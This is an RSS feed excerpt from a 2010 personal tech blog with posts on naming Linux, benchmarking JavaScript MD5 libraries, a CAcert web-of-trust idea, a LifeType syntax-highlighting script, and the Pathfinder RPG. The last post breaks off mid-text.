   <link>http://khopesh.com/blog/adam-katz-musings/bash-hash</link>
      <pubDate>Wed, 03 Mar 2010 00:25:34 -0500</pubDate>   
  </item>
    <item>
   <title>Call it Linux</title>
   <description> 
There's a long-standing debate over what to call this UNIX-like operating system that runs the GNU userland, Xorg windowing system, and a thousand other things atop the Linux kernel.  The Free Software Foundation (FSF), of which I am a dues-paying associate member and big advocate for, insists upon calling it GNU+Linux or GNU/Linux  [1] .  I used to &quot;tow the party line&quot; and go along with it (though I never actually  corrected  people on usage, or if I did: sorry  [2] ).
 
 
Nobody ever argued that a kernel alone comprises an operating system, and GNU is no longer a required piece while Linux is  [3][4] . We call the operating system &quot;Linux&quot; and we call the kernel &quot;Linux&quot;  [5] . If there's confusion, we clarify with a quantifier when needed, but that would be &quot;Linux distribution&quot; and &quot;Linux kernel&quot; rather than &quot;GNU/Linux&quot; and &quot;Linux.&quot;  Even the FSF uses the term &quot;Linux kernel&quot; rather than just &quot;Linux&quot; because even they realize the confusion  [1] .
 
 
The GNU projects are an undeniable part of the operating system's history, without which the kernel would have died while still an experiment, and GNU is still important to the system today.  However, I don't live in &quot;The United States of Freemason/America&quot;  [3] .
 
 
&nbsp;
 
 
Before I begin my argument, I'd like to start with an aside:  At some point in the future, I intend to write a post on the lack of bipartisanship currently ruining this country (the bipartisan meeting on health reform was desperately  needed !).  Both parties, though particularly the Republicans, have found reasonably complete platforms for most every issue and consider it some sort of crime for a party member to do anything but advocate for it (just endorsing is no longer enough).  This towing of the party line, combined with the fact that each party's agenda includes intentionally contrary views on any and every issue, basically stops all progress on ... any and every issue.
 
 
Back to operating systems.  I'm not like those elected officials.  I agree with the  Free Software Foundation  on most issues, but not on this one.  It's a lost cause, and it was weak to begin with anyway.  Allow me to spell it out.
 
 
Argument number one:  It's annoying to correct people who already agree with you on all the important issues.  Sub-point:  this is not an important issue and never was.  When original author  Linus Torvalds  respectfully declined the FSF's offer to make his Linux kernel an official  GNU project  (which requires surrendering full copyright to the FSF), we knew it could never be called &quot;GNU Linux&quot; (with a space in it) and the debate should have died there; there's no clause in any  GNU license  that requires &mdash;or even suggests&mdash; attribution in product names.
 
 
Argument number too:  It's annoying to correct people.
 
 
Argument number three:  This operating system runs many many things.  In most references, it's as dependent on  Mozilla Firefox  and the  X.org windowing system  as it is on the GNU  userland , and even more dependent desktop environments like  Gnome  and  KDE .  For this argument, &quot;dependency&quot; is defined as user visibility, frequency of use, and &quot;core&quot; nature (which is to say the system would be considered incomplete if it lacked this piece).  Outside of the desktop,  OpenBSD Secure Shell  (SSH),  Apache httpd , or  Nokia Qt  can be as pivotal.  Embedded systems often use  BusyBox  as a replacement for the  GNU Core Utilities  package (and friends).
 
 
That brings me to my fourth point (did you say &quot;glibc?&quot;):  By a more technical definition of &quot;dependency&quot; and &quot;core,&quot; the  GNU C Library  (glibc) gets special attention, as it's the only thing operating system actually depends on aside from the kernel; you can't have one without the other.  Except it was forked for a while, with the Linux developers maintaining  their own version .  Disregarding the fork (since it no longer exists), the glibc argument is usually invoked with respect to embedded systems, which often don't run much beyond the kernel.
 
 
However, the embedded Linux development community has been increasingly critical of the use of glibc due to its larger size and lower efficiency.   Google Andriod  (a Linux-powered embedded operating system/framework) uses Bionic, which is based on  BSD 's libc (completely devoid of any glibc origins) and I believe it is fully GNU-free due to its in-house Java components.  There's  uClibc , the &quot;micro C standard library&quot; used by uClinux, a popular microcontroller Linux package.
 
 
Most importantly, there's  Embedded GLIBC  (EGLIBC), a variant of glibc that is not owned or operated by GNU.  While EGLIBC was an optimization aiming at embedded devices, the heavyweight  Debian  recently chose to migrate to EGLIBC in place of glibc.  That's right, Debian, the one Linux distribution that actually calls their product &quot;GNU/Linux,&quot; is nixing the GNU C Library.  There are two heavyweights when it comes to Linux distributions.  If  Fedora  makes a similar move, GNU's C library may fade away from the #1 spot.  Even if  OpenSUSE  (the arguable third heavyweight, mostly with respect to Europe) heads this way, it spells trouble for GNU.  If the  pushes for GPLv3  (which are driven by the FSF) on  OpenSolaris  actually pass, yet another C library could enter the game.
 
 
What does that leave?  With C library alternatives and BusyBox, almost all of the GNU userland is no longer necessary to the technical core of the operating system.  There are embedded Linux systems out there without a single GNU (or even GNU-derived!) product on them.  Non-embedded systems have as much argument for calling it Xorg/GNU/Linux or Apache/GNU/Linux or OpenSSH/GNU/Linux as anything else, and that brings us to my remaining point:
 
 
Fifth and finally:  Just &quot; Linux &quot; is simpler and already the de-facto name accepted industry-wide.  Perhaps the name game was worth considering back when glibc and the GNU core utilities were the only Free options and nobody knew what the operating system was yet, but that day is long gone.
 
 
Call it &quot;Linux.&quot;
 
 
&nbsp;
 
 
Further notes:  The footnotes above refer to the argument numbers and not citations.  As to the alternate name for the USA, that references the fact that a large number of the Founding Fathers, their allies, and the early leadership of the American Revolution and the resulting nation varied from high-ranking Freemasons to known Freemason associates.  This was recently blown into the mainstream thinking thanks to a recent Dan Brown novel and a series of History Channel specials, and I was extremely surprised to see a lack of succinct encyclopedic mention of it on any reputable source online, with the best I could summon being a subsection of a WikiPedia article on  Texan Freemasonry . Similarly, I couldn't find a good link regarding the recent health summit, presumably due to its having happened so recently though I did find the  official videos of the whole meeting  (warning, video autoplays on load).Thanks to  Owen Williams  for the &quot;GPL lacks naming clauses&quot; bit.
 </description>
   <link>http://khopesh.com/blog/adam-katz-musings/call-it-linux</link>
      <pubDate>Sun, 28 Feb 2010 12:14:25 -0500</pubDate>   
  </item>
    <item>
   <title>Hash checksums in JavaScript</title>
   <description> 
Basic  JavaScript  (whose formal name, ECMAscript, isn't really used) lacks much by way of cryptography.  It even lacks basic checksum methods, making it difficult to verify the integrity of a piece of data, handle passwords (no good implementation actually stores your password in the clear, they always store it as a hash).  Here I'll explain what hash sums are and why we need them, then I'll reveal the few JavaScript MD5 hash implementations I found online, and I'll compare their efficiency head-to-head. 
 
 

 
 
&nbsp;
 
 
This was originally posted to  Userscripts.org  on 2009-10-30 as one of its first guides,   Checksum (MD5) hashes  .  Userscripts.org is an archive and active development community for  Greasemonkey 
scripts, which each allow a bit of customization for various
third-party sites, usually within the realm of fixing bugs, augmenting
features, or even adding new functionality altogether (e.g. showing the
hidden text for  xkcd 
comics, direct links for Google Images searches, or sprucing up YouTube
so that it doesn't automatically play when you surf to a video). I'm
occasionally active there, having posted  a handful of scripts  and guides like this one. 
&nbsp;
 
 
&nbsp;
 
 
 Background : A  cryptographic hash sum  (checksum) is a small fingerprint representing a piece of data that can vary in size from zero to extremely large.  It is often used to verify consistency of downloads, especially for large downloads or when dealing with multiple sources (e.g.  bittorrent  uses checksums on each of its packets to ensure it reassembles its files correctly, software updaters use checksums as proof against corruption, and  PGP  uses checksums to create cryptographic signatures).
 
 
Like fingerprints, checksums are one-way:  You can generate a checksum from a file or string to compare it to one given from a trusted source, but you can't generate the data from the checksum.  This is the key to the security behind much of its use, like storing passwords as checksums so that intruders and even administrators can't see the users' actual passwords (yes, this is how Firefox and almost every other software store passwords).
 
 
With respect to security, a checksum algorithm is as secure as the rarity of collisions (multiple sources that generate the same checksum).  The simplest checksum still in active use (with respect to security) is  MD5 , which has a total output size of 2 128  (though due to a  complexity analysis , has a collision attack complexity of only 2 32 , which means that you could create two random sets of data with the same MD5 sum in a few hours on a good computer, but it would still take a large cluster of computers over 50 years to generate a random piece of data that matches a real-world MD5 sum).
 
 
With respect to security of data stored with MD5 sums in Firefox, the complexity is sufficiently large enough to deter, and (if I recall correctly) reflects the same level of complexity which protects your locally stored passwords.  Your primary security comes from the fact that this data should not be accessible from the rest of the world while the secondary protection is the cryptographic complexity.
 
 
This means that it should be safe to use MD5 to store hashes relating to user's private data in a script like my  Generic Autologin (w/ Password Manager) BETA .
 
 
&nbsp;
 
 
That said, I chose MD5 for its simplicity.  Now comes the question of how to implement it in a Greasemonkey UserScript.  Since this is not a native call within JavaScript, we need to use somebody else's code.
 
 
Looking around online, I found three md5sum scripts written in JavaScript:
 
 
	 
		 
			 Name*  Version  Date  Author  License  Lines  Size  Speed** 
		 
		 
			  Frez  
			 1.0 
			 Feb 2001 
			 Phil Fresle + Enrico Mosanghini 
			 ~free(?) to use as library 
			  155 lines  
			 6.2kB 
			 10,789ms 
		 
		 
			  Paj  
			 2.1 
			 1999-2002 
			 Paul Johnston 
			  BSD  
			 256 lines 
			 8.7kB 
			 &nbsp; 8,452ms 
		 
		 
			  Izumo  ( &rarr;English ) 
			 2.0.0 
			 May 13 2002 
			 Masanao Izumo 
			  BSD-style  
			 199 lines 
			  5.9kB  
			  &nbsp; 5,865ms  
		 
	 
 
 
 *  Since everybody uses the same name, I instead chose a name based on the author or author's handle.
 
 
 **  Speeds were determined using  Measure Function Execution Times  by  Joe Simmons , included via  @require  (which actually doesn't work ... you have to add a  &lt;Require filename=&quot;md5.js&quot; /&gt;  in gm_scripts/config.xml and then restart Firefox) and tested on that script's page with the following code (system specs*** don't matter since all values are relative):
 
 
var loops = 1000; // Don't go too high.
&nbsp;
var sprintmap = &quot;http://coverage.sprint.com/action/WebImageStream4?covType=&quot;
&nbsp; + &quot;sprint&amp;amp;mapcenterx=-12.3456789012345&amp;amp;mapcentery=12.34567890123456&quot;
&nbsp; + &quot;&amp;amp;geocenterx=-12.3&amp;amp;geocentery=12.3&amp;amp;endlinex=&amp;amp;endliney=&quot;
&nbsp; + &quot;&amp;amp;scale=250.0&amp;amp;width=420&amp;amp;height=315&amp;amp;showPinpoint=F&amp;amp;&quot;
&nbsp; + &quot;signalStrength=F&amp;amp;antiAlias=T&amp;amp;layers=TFFFTFTFFFTFFTFFTTTFFFFTFF&quot;;
var cdw = &quot;http://www.cdw.com/shop/search/Results.aspx?filderedsortorder=&quot;
&nbsp; + &quot;priceasc&amp;amp;x=0&amp;amp;platform=all&amp;amp;y=0&amp;amp;FilteredSortOrder=&quot;
&nbsp; + &quot;PRICEASC&amp;amp;key=abcdefg&quot;;
var yah = &quot;http://yp.yahoo.com/py/ypResults.py?stx=%s&amp;amp;stp=a&amp;amp;tab=B2C&quot;
&nbsp; + &quot;&amp;amp;addr=123+Fake+St&amp;amp;city=Springfield&amp;amp;state=UH&amp;amp;zip=&quot;
&nbsp; + &quot;00000-0000&amp;amp;uzip=00000&amp;amp;country=us&amp;amp;msa=1234&amp;amp;slt=&quot;
&nbsp; + &quot;12.345678&amp;amp;sln=-12.345678&amp;amp;cs=9&amp;amp;Submit=Search&amp;amp;fudge=1234&quot;;
&nbsp;
function frez() {
&nbsp; &nbsp; MD5(location.href);
&nbsp; &nbsp; MD5(sprintmap);
&nbsp; &nbsp; MD5(cdw);
&nbsp; &nbsp; MD5(yah);
&nbsp; &nbsp; //MD5(document.body.innerHTML+document.body.innerHTML);
}
&nbsp;
function paj() {
&nbsp; &nbsp; hex_md5(location.href);
&nbsp; &nbsp; hex_md5(sprintmap);
&nbsp; &nbsp; hex_md5(cdw);
&nbsp; &nbsp; hex_md5(yah);
&nbsp; &nbsp; //hex_md5(document.body.innerHTML+document.body.innerHTML);
}
&nbsp;
function izumo() {
&nbsp; &nbsp; MD5_hexhash(location.href);
&nbsp; &nbsp; MD5_hexhash(sprintmap);
&nbsp; &nbsp; MD5_hexhash(cdw);
&nbsp; &nbsp; MD5_hexhash(yah);
&nbsp; &nbsp; //MD5_hexhash(document.body.innerHTML+document.body.innerHTML);
}
&nbsp;
// DEFINE FUNCTION 1 HERE (alternated between frez and paj)
function function1() { paj(); }
&nbsp;
// DEFINE FUNCTION 2 HERE
function function2() { izumo(); }
 
 
I initially had that commented call in there, but it took too long to evaluate, so I ran it a few times with  loops=1  and found the relative times the same as with the shorter pieces.  Without that last call, I ran four 1000-loop trials each of Paj vs Izumo and Frez vs Izumo, during which no function varied more than half a second from one extreme to the other and the reported difference multiplier varied by about 0.2 between extremes), posting the averages (sans-body hash) above.  Since I was always comparing against Izumo, the time for Izumo is an average over its 8 trials.
 
 
 Results:  Izumo takes the speed crown having been 1.44 times faster than Paj and 1.84 times faster than Frez, while second-place Paj is 1.27 times faster than Frez.  Happily, Izumo is also unencumbered by licenses (keep copyright intact and you should be fine, though it's not terribly clear on that) and the smallest by byte size.  (Winners on each metric are marked in bold on the above table.)
 
 
 Conclusion :  You can use the Izumo &quot;library&quot; in your user script by adding this line to your metadata:  @require http://www.onicos.com/staff/iz/amuse/javascript/expert/md5.txt  but the process of actually getting it to work will require either downloading the file to your script's directory, editing the config.xml by hand, and restarting Firefox or installing the script on top of itself.  A pain, but it works.
 
 
(*** System specs: Athlon X2 dual-core 4200+ (2.2GHz) with 2GB memory and a LOT of concurrently running apps with little activity (load average otherwise around 0.00) on Debian Squeeze (&quot;Testing&quot;) with Firefox (Iceweasel) 3.0.14-1 with 35 other open tabs, with a very stale system half-recovered from some nasty network business a few months ago and an uptime of over half a year.)
 </description>
   <link>http://khopesh.com/blog/adam-katz-musings/js-hash</link>
      <pubDate>Sat, 27 Feb 2010 18:41:30 -0500</pubDate>   
  </item>
    <item>
   <title>CAcert - un-stalling the experiment in web-of-trust - part 2</title>
   <description> 
This is the conclusion to my exciting rant about CAcert's inefficiencies, moving from speculation on where they could go to fix their problems and even perhaps prosper to what this could do in the long-run.&nbsp; It's not even really specific to CAcert; anybody could implement this idea.&nbsp; CAcert just has a good base upon which to build.&nbsp; The idea is a simple one; bring web-of-trust to social networking. It's almost there already, and especially needed given how Facebook is quickly losing our trust. 
 
 
&nbsp;
 
 
I know what you're thinking ... aren't I one of the more outspoken critics of Facebook and  its constant invasions of privacy ?  Yeah, that's me.  But I do see wheels turning, and Facebook is, in its present form, a completely unstoppable machine (unlike Linked-in...).
 
 
Facebook's biggest rival isn't even Linked-in; it's the upcoming Google Wave, which is either still in alpha or just barely into its beta, and might suffer from the whole  Google bubble phenomenon , which states the company is nearing collapse from its own success due to a revenue model that can't continue to support the services it's constantly rolling out (like Android, Chrome, Chrome OS, Wave, and a hundred other things completely unrelated to web search, not to mention the already dominant forces of GMail, Google Calendar, and others).
 
 
As to MySpace ... unless they clean up and rebrand, they will fall back to their original core, a site for musicians and wannabe rock-stars.  They long ago lost their #1 status across the social networking space, and it's even been a while since they were competitive with Facebook within the teen demographic.
 
 
Social networking and  web-of-trust  were made for each other.
 
 
The web-of-trust nature can be performed fully in the background, with two networks (or webs or rings if you prefer) that I'll call &quot;Formal&quot; and &quot;Informal.&quot;  The Informal network is a fully segregated web-of-trust built solely upon lists of friends; you automatically accept the validity of anything from a friend or a friend-of-a-friend, as configured by your options somewhere.  The Formal network requires the more traditional vetting process familiar to anybody who has ever partaken in a  key signing event .  This network needn't be limited as tightly as the Informal ring; it can go out another step or two, or more with some sort of path convergence algorithm.
 
 
Here's a sample algorithm off the top of my head.  Please note that it probably has holes in it.  Path distance can be reduced by noting independent paths between friends.  So if A&rarr;B&rarr;C&rarr;D&rarr;E&rarr;F (relating A to F through a distance of five friendships) and A&rarr;G&rarr;H&rarr;D&rarr;E&rarr;F, this would reduce the path distance between A and F would be reduced by one since A is connected to F through D twice for an effective distance of four instead of five.  If you then add A&rarr;I&rarr;J&rarr;K&rarr;E&rarr;F, reduce once more to an effective distance of three.
 
 
The point is that CAcert's web-of-trust model can be directly applied to an application within a social networking site.  Anybody who adds the application would automatically gain some kind of Informal key (though implementing cryptography through javascript is a pain and a half...) and would be asked to supply a  PGP  key (the foundation of   public-key cryptography ) for the optional Formal key.  This can be used to facilitate secure conversations between users within the networking site, and can be used in conjunction with add-ons for other applications for secure communications in other venues, like  Enigmail  on  Thunderbird  for mail and  OTR  on  Pidgin  for chat. (Also perhaps of note, JavaScript, the language powering the add-on mechanism for most web browsers, lacks basic cryptography functions, as I mention in  A hash function for JavaScript .)
 
 
The next step might need some kind of tricky bits in order to function properly since  X.509  (the SSL certificate mechanism) isn't web-of-trust-based at all, but I see it as not terribly difficult to do.  A centralized authority (CAcert) issues certificates with a field that includes the server operator's PGP public key.  Because this is signed by CAcert, no verification is needed on the PGP key.  This lets a helper application then look up the PGP key and determine trust.
 
 
Note that the tricky step relating things back to SSL isn't actually needed and would probably never catch on anyway.  Increased visibility and growth of the web-of-trust network is the goal here, perhaps serving primarily to spread safety with respect to sales and auction sites like Craigslist and eBay, or meetup/dating sites, or perhaps just the traditional PGP and OTR webs.  Other uses of this data will follow.  
 
 
To recycle the mantra I used to begin  part one  of this piece, &quot;if you build it, they will come.&quot;
 </description>
   <link>http://khopesh.com/blog/adam-katz-musings/cacert-unstalled</link>
      <pubDate>Fri, 26 Feb 2010 17:42:05 -0500</pubDate>   
  </item>
    <item>
   <title>LifeType Blog - syntax highlighting with SHJS</title>
   <description> 
This blog is powered by  LifeType , which may or may not be the right choice for it (there are a few features I don't need, like the ability to host more than one blog and therefore the extra piece of the URL, and there are a few bugs like the fact that I can't change the time of a post, be it a future post or a past one, despite that changing the date is trivial).  LifeType uses PHP Smarty for its templates, which I've gone and tweaked as I do everything. In this article, I explain how I added syntax highlighting for code blocks in this blog.
 
 
&nbsp;
 
 
I've decided to perform syntax highlighting client-side using  SHJS - Syntax Highlighting in JavaScript .  I downloaded it to my web root directory and then wrote the following code, which I release under the GPL version 2 or higher (which makes it compatible with both LifeType and SHJS). Add these five lines of code to the very bottom of the  post.template  file in
the templates subdirectory of your theme. I found it easier to use
absolute paths rather than relative ones. 
 
 
&lt;script type=&quot;text/javascript&quot; src=&quot;/shjs-0.6/sh_main.min.js&quot;&gt;&lt;/script&gt;
&lt;script type=&quot;text/javascript&quot; src=&quot;/sh_load.js&quot;&gt;&lt;/script&gt;
&lt;script type=&quot;text/javascript&quot;&gt;
 
 
&nbsp; sh_highlightBody(&quot;/shjs-0.6/lang&quot;, &quot;/shjs-0.6/css&quot;, &quot;desert&quot;, true);
 
 
&lt;/script&gt;
 
 
Now we need to create that second file, which features all the items necessary to work with LifeType. Put the following code into a   sh_load.js   file, which I put in my we root directory so that it doesn't get overwritten when I upgrade LifeType or SHJS. (In the case of transcription bugs or updates, it's better to download the file than copy/paste the following code block.)
 
 
/* Loader for SHJS, enabling activation from body with sh_highlightBody()
*
* As described at http://khopesh.com/blog/adam-katz-musings/lifetype-highlight
*
* Example usage:
&nbsp; &nbsp; &lt;script type=&quot;text/javascript&quot; src=&quot;/shjs-0.6/sh_main.min.js&quot;&gt;&lt;/script&gt;
&nbsp; &nbsp; &lt;script type=&quot;text/javascript&quot; src=&quot;/sh_load.js&quot;&gt;&lt;/script&gt;
&nbsp; &nbsp; &lt;script type=&quot;text/javascript&quot;&gt;
&nbsp; &nbsp; &nbsp; sh_highlightBody(&quot;/shjs-0.6/lang&quot;, &quot;/shjs-0.6/css&quot;, &quot;desert&quot;, true);
&nbsp; &nbsp; &lt;/script&gt;
*
* Copyright 2010 by Adam Katz &lt;http://khopis.com/scripts&gt;, GPL v2+
*
*/
&nbsp;
var sh_theme; // global variable storing the &lt;style&gt; object for the CSS theme
&nbsp;
function sh_setTheme(css) {
&nbsp;
&nbsp; if (sh_theme &amp;&amp; (sh_theme.hasChildNodes() || sh_theme.styleSheet) ) {
&nbsp; &nbsp; sh_theme.removeChild(sh_theme.firstChild); // already there, remove theme
&nbsp; } else {
&nbsp; &nbsp; sh_theme = document.createElement(&quot;style&quot;);
&nbsp; &nbsp; sh_theme.type = &quot;text/css&quot;;
&nbsp;
&nbsp; &nbsp; // place it in the head if we can find it, otherwise the body
&nbsp; &nbsp; var head = document.getElementsByTagName(&quot;head&quot;);
&nbsp; &nbsp; if (head &amp;&amp; head[0]) { head = head[0]; } else { head = document.body; }
&nbsp; &nbsp; head.appendChild(sh_theme);
&nbsp; }
&nbsp;
&nbsp; var cssText = '@import url(&quot;' + css + '&quot;);';
&nbsp; if (sh_theme.styleSheet) { // IE
&nbsp; &nbsp; sh_theme.styleSheet.cssText = cssText;
&nbsp; } else { // Everybody else
&nbsp; &nbsp; sh_theme.appendChild( document.createTextNode(cssText) );
&nbsp; }
&nbsp;
}
&nbsp;
// Set an argument to an unquoted number to use the default.  min is a boolean.
// 0 args: langPrefix=lang, themePrefix=css, theme=nedit, min=true
// 1 arg:  arg1=langPrefix, themePrefix=langPrefix/../css, theme=nedit, min=true
// 2 args: arg1=langPrefix, arg2=themePrefix, theme=nedit, min=true
// 3 args: arg1=langPrefix, arg2=themePrefix, arg3=themeName, min=true
function sh_highlightBody(langPrefix, themePrefix, themeName, min) {
&nbsp;
&nbsp; if (typeof(langPrefix) != &quot;string&quot;) { langPrefix = &quot;lang&quot;; }
&nbsp; if (langPrefix[langPrefix.length-1] != &quot;/&quot;) { langPrefix += &quot;/&quot;; }
&nbsp; if (typeof(themePrefix) != &quot;string&quot;)
&nbsp; &nbsp; { themePrefix = langPrefix.replace(/\/*[^\/]+\/*$/,&quot;/css&quot;); }
&nbsp; if (typeof(themeName) != &quot;string&quot;) { themeName = &quot;nedit&quot;; }
&nbsp; if (typeof(min) == &quot;undefined&quot; || min) { min = &quot;.min&quot;; } else { min = &nbsp; &quot;&quot;; }
&nbsp;
&nbsp; sh_setTheme(themePrefix + &quot;/sh_&quot; + themeName + min + &quot;.css&quot;);
&nbsp;
&nbsp; try {
&nbsp;
&nbsp; &nbsp; function sh_go() { sh_highlightDocument(langPrefix, min + &quot;.js&quot;); }
&nbsp;
&nbsp; &nbsp; if (typeof(document.addEventListener) == &quot;undefined&quot;) { // IE
&nbsp; &nbsp; &nbsp; document.body.attachEvent(&quot;onload&quot;, sh_go() );
&nbsp; &nbsp; } else { // Everybody else
&nbsp; &nbsp; &nbsp; document.body.addEventListener(&quot;load&quot;, sh_go(), true);
&nbsp; &nbsp; }
&nbsp;
&nbsp; } catch(e) { /* Ignore firefox's harmless error */  }
&nbsp;
}
 
 
This code removes the  &lt;body onload=&quot;...&quot;&gt;  requirement, which means the five lines can appear in the header or anywhere in the body, enabling easier deployment to template-driven systems like LifeType, though it has to deal with IE's lack of  addEventListener()  and its JavaScript implementation's inability to deal with  &lt;style&gt;  tag creation and manipulation.  If any SHJS developers are looking, I've purposefully licensed the code to ensure it can find its way into the project itself, and I think  sh_highlightBody()  is more flexible and useful than  sh_highlightDocument()  ... proper incorporation into the upstream would likely involve merging the two functions together, and of course that means the second of those five inclusion lines would be folded into the first.
 
 
Without the  try/catch , Firefox sometimes spat out a harmless error from the SHJS call:
 
 
	[Exception... &quot;Could not convert JavaScript argument&quot;  nsresult: &quot;0x80570009 (NS_ERROR_XPC_BAD_CONVERT_JS)&quot;  location: &quot;JS frame :: http://khopesh.com/blog/adam-katz-musings/lifetype-highlight :: &lt;TOP_LEVEL&gt; :: line 118&quot;  data: no]
 
 
However, if you use try/catch within the Smarty template (as I initially did before separating it into its own &lt;tt&gt;.js&lt;/tt&gt; file), the word  try  gets intercepted  as an internal Smarty try/catch call (which is weird because every other command for Smarty uses curly brackets).  Smarty templates deal with that intercepted code by replacing post content with this:
 
 
	 Fatal error : Smarty error: [in ./templates//khopesh/post.template line 36]: syntax error: unrecognized tag: document.body.addEventListener( &quot;load&quot;, sh_highlightDocument('/shjs-0.6/lang/', '.min.js'), true); (Smarty_Compiler.class.php, line 455) in  /var/www/lifetype-1.2.10/class/template/smarty/Smarty.class.php  on line  1092 
 
 
The solution is to surround the code with   {literal}   tags in the Smarty template. To minimize confusion from mixed tag types and what is and is not relevant code, I recommend putting those tags outside the whole JavaScript block. 
 
 
Regarding the highlighting theme ( CSS ); I created a few alternates by rotating the hexadecimal  RGB  values (easy to do with extended regular expressions --  s/#{([0-9a-f]{2})([0-9a-f]{2})([0-9a-f]{2})\b/#$3$2$1/g  and the same without the  {2}  bits for shortened versions would swap red and blue) and then, still dissatisfied, settled on &quot;desert.&quot; 
 
 
 Update 2010-02-25 19:00 : For those who are interested, the RGB rotation experiments' results are  bluelcd  (from greenlcd),  ocean  (from desert), and  bluepuff  (from peachpuff).&nbsp; Each one also has a .min version, just change the filename. You can demo these on my  altered mirror of SHJS 0.6  (it's neat that the binary distribution features a mirror of the entire site).&nbsp; The SHJS project maintainers are welcome to use these themes (or derivatives) in a future release. Please note that these &quot;RGB rotation&quot; themes have not been vetted against WCAG contrast guidelines (see below) or otherwise altered in any way beyond the rotation. Bluelcd especially lacks the necessary contrast to be legible, (a minor adjustment to the background should do the trick, but I wanted it to stand as an example of why this trick isn't perfect).
 
 
Turns out I can minimize the SHJS CSS by hand significantly better than the project's minimizing script by merely grouping comment declarations together; I knocked desert down from  2.6kB  to  1.5kB  and that's without removing spaces like the .min version (which is  2.0kB ).&nbsp; For vim-dark, I reduced it from  2.4kB  to  993B  and then  859B  after removing spaces (compared to vim-dark.min's  1.8kB ).
 
 
I've created a SHJS theme that fits this site's overarching styles.&nbsp; The  khopesh theme , which has some comments about contrast that I'll discuss below, weighs in at 2.2kB and  my theme's .min  version is 1.8kB, over twice the size I minimized vim-dark to, illustrating its higher complexity. Like my &quot;RGB rotation&quot; themes, the khopesh theme is available for upstream inclusion and can be demoed at the aforementioned altered mirror (as well as right here in the above code blocks). 
 
 
Contrast is really hard when you're working with low saturation and a bright background with brighter text, so I had to be very careful to make it legible.&nbsp; I darkened the background rather than lightening it and then actually dug up some online contrast-assisting tools. I used a  color contrast analyzer  to note contrast ratio as suggested by the  W3C 's  Web Content Accessibility Guidelines  (WCAG 2.0) in  section 1.4.3 .&nbsp; My theme complies with AA guidelines (contrast greater than 3:1) and mostly hovers around AAA guidelines (5:1).&nbsp; Comment highlighting intentionally just barely meets the lowest contrast threshold. 
 
 
 Update 2010-02-26 18:00 : I've submitted my functions, themes, and observations (including a link back here) to the SHJS upstream in sourceforge tickets  2959860  and  2959871 .
 </description>
   <link>http://khopesh.com/blog/adam-katz-musings/lifetype-highlight</link>
      <pubDate>Wed, 24 Feb 2010 18:34:47 -0500</pubDate>   
  </item>
    <item>
   <title>Pathfinder RPG is solid</title>
   <description> 
Over the years, the publishers of Dungeons and Dragons (D&amp;D) have struggled.  While poor decisions have been made in the past (a TV show, firing the co-creator while he was still the industry's figurehead, over-saturating the market, piling on debt, ...), the game always seemed to survive.  Third edition was like striking gold, and its new backer had near infinite funds so as to prevent many of the problems suffered in the past.
 
 
Competing with online games like World of Warcraft and simplified games like Magic: the Gathering, D&amp;D has new challenges.  Fourth edition aspired to attract fans from those other genres, even offering numerous software companion products (a big taboo to my eye).  It failed to meet expectations.
 
 
Since third edition had a free licensing scheme and third-party development was encouraged, this presented an additional challenge for fourth edition.  Paizo, a company spun off from D&amp;D's manufacturer and headed up by the Editor-in-Chief of D&amp;D's premiere magazine, decided to continue developing third edition products for their Pathfinder world and even revise the edition so as to compete with fourth edition head-on.
 
 
Paizo is winning.
 

 
&nbsp;
 
 
Gaming is one of my passions, and unlike most who say that, I'm not referring to anything involving a monitor, TV, or even power.  Board games and similar games are great (I co-founded and now run a Friday gaming group, aptly named  FriGames , around parlor games like Mafia, Fax Machine, and Apples to Apples), but my real passion is  Dungeons &amp; Dragons , the original &quot;paper and dice&quot;  role-playing game  (RPG).  Anybody who knows me well can tell you that I've spent years working on the details and specific rules of my own D&amp;D world.
 
 
I remember the transition from the original &quot;Advanced Dungeons and Dragons&quot; to its second edition in 1989 (sure, I was young, and most of these &quot;memories&quot; have been in research rather than experience, but I did play a bit of the game back in first edition). It was a minor move; almost nothing changed.  Supposedly, the edition was in no small part a political battle to remove  Gary Gygax , the original designer, from having credit on the cover of the books to a &quot;thank you&quot; section of the credits among the dozens of other names there.  In fact, he was fired from  TSR , the very company he had co-founded, and then found himself spun off into nothingness, a celebrity whose impact had been cut off entirely.  The obvious other motivation for a new edition is that such things give life to stale products as everybody has to buy their books all over again (think of the migration from VHS to DVD and now to Blu Ray).
 
 
After years of mis-management, TSR and its massive piles of debt were purchased by  Wizards of the Coast , a company composed of hard-core D&amp;D fans (the &quot;Wizards of the Coast&quot; was an arcane academy within founder  Peter Adkison 's D&amp;D campaign world), using their massive coffers from the wild success behind their  Magic: The Gathering  products.
 
 
While some of the third edition's development was lead by TSR before the purchase, this was in a time when the company was spiraling out of control, diversifying into dozens of settings and products that required too much production for very little sales.  It was Adkinson's team of TSR + Wizards of the Coast developers that really polished the game, and the fantastic art and marketing resources at their disposal that made it sing.
 
 
First edition lived eleven years (1978-1989), as did second edition (1989-2000).  Third edition (2000-2003) and its mini-update &quot;3.5&quot; (2003-2008) summed to only eight.  Unlike previous editions, the 3e series was covered by an  Open Game License  (OGL) which removed many of the restrictions from within their copyrights and allowed (and legitimized) a vast array of spin-off products and third-party supplements.  When fourth edition came out, these other vendors were stuck with the predicament of whether or not to upgrade, but the replacement license for 4e isn't very open.  Specifically, it permits supplemental materials (which are legally permissible without the license anyway) but grants no copyright sharing nor the ability to create a separate derivative work.  This means that 3e-derived works won't upgrade.  They'll go off on their own ways and evolve even more distance from the original reference materials.  This is possibly good for the industry, but most definitely bad for Wizards and for official D&amp;D.
 
 
One of these companies was already at an advantage; due to some kind of conflict of interest or perhaps a well-disguised look into the future, the de-facto Dragon Magazine and its sister Dungeon Magazine were spun off from Wizards of the Coast into a new company called  Paizo Publishing .  Paizo was granted a license to continue producing the magazines with the same name, the D&amp;D logo, and with &quot;official content&quot; written on the cover, and things were good.  The fledgling company launched a store hawking various gaming goods, developed the  Pathfinder Chronicles campaign setting , and started publishing serial adventures for it in a subscription-based format closely resembling Dungeon.  In anticipation of an online-only subscription-based program for 4e, Wizards of the Coast revoked the magazine licenses and let Paizo loose into the wild.  With the online store and the Pathfinder adventure modules (which were pretty analogous to Dungeon Magazine already), Paizo was well poised.  They also had a name and remnants of a strong relationship with the D&amp;D flagship Wizards of the Coast that nobody else had.
 
 
